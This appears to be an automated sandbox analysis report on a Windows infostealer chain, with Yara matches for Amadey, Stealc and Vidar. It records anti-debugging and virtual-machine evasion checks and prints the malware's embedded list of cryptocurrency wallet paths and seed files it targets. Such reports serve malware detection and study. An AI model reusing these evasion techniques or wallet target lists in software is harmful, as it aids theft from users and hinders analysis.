Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123B15C second address: 123B174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007F4828E70458h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e jnp 00007F4828E70462h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123B40C second address: 123B410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123B9DC second address: 123B9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4828E70467h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 124299F second address: 12429AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4828F7EDD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12429AA second address: 12429DD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4828E70469h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F4828E7046Eh 0x00000010 push ecx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jc 00007F4828E70456h 0x00000020 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2BD1D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4634F7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Special instruction interceptor: First address: 105EBF1 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Special instruction interceptor: First address: 105C096 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Special instruction interceptor: First address: 1221A94 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Special instruction interceptor: First address: 105EB24 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Special instruction interceptor: First address: 128C4D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A8EBF1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A8C096 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C51A94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A8EB24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CBC4D2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDBFBFBGDBK.exe

Code function: 22_2_04A60BF8 rdtsc

22_2_04A60BF8

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007468001\IObit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\IObit.Malware.Fighter.Pro-12.0.0.1433.sfx[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6968	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6904	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7828	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7828	Thread sleep time: -1260000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7828	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsDBFBFBGDBK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE6EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

1_2_6CE6EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001B.00000002.2579648195.0000000000C0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000001.00000002.1791503615.0000000023291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000001.00000002.1791503615.0000000023291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000001.00000002.1791503615.0000000023291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696492231x
Source: file.exe, 00000001.00000002.1757866437.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2583360770.000000000132A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2583360770.000000000135B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.1757866437.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000001.00000002.1791503615.0000000023291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000001.00000002.1757866437.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZf
Source: file.exe, 00000001.00000002.1791503615.0000000023291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000001.00000002.1791503615.0000000023291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8RECOVE~11c3bankoRecoveryImprovedVMware20,11696492231x
Source: file.exe, 00000001.00000002.1754699955.000000000043A000.00000040.00000001.01000000.00000004.sdmp, DocumentsDBFBFBGDBK.exe, 00000016.00000002.1774082457.00000000011DC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.1818383386.0000000000C0C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001B.00000002.2579648195.0000000000C0C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDBFBFBGDBK.exe

Code function: 22_2_04A60BF8 rdtsc

22_2_04A60BF8

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CF3AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A5652B mov eax, dword ptr fs:[00000030h]		27_2_00A5652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A5A302 mov eax, dword ptr fs:[00000030h]		27_2_00A5A302

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CF3AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2756, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBFBFBGDBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBFBFBGDBK.exe "C:\Users\user\DocumentsDBFBFBGDBK.exe"
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF84760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6CF84760

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE61C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

1_2_6CE61C30

Source: file.exe, file.exe, 00000001.00000002.1754699955.000000000043A000.00000040.00000001.01000000.00000004.sdmp

Binary or memory string: `cProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF3AE71 cpuid

1_2_6CF3AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF3A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6CF3A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 27_2_00A265E0 LookupAccountNameA,

27_2_00A265E0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE88390 NSS_GetVersion,

1_2_6CE88390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsDBFBFBGDBK.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000003.2359164141.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1773393810.0000000004990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2579030135.0000000000A21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1773948251.0000000000FF1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1818261035.0000000000A21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1732677784.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.1757866437.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1753987889.0000000000071000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1334436859.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2756, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1753987889.00000000000F4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
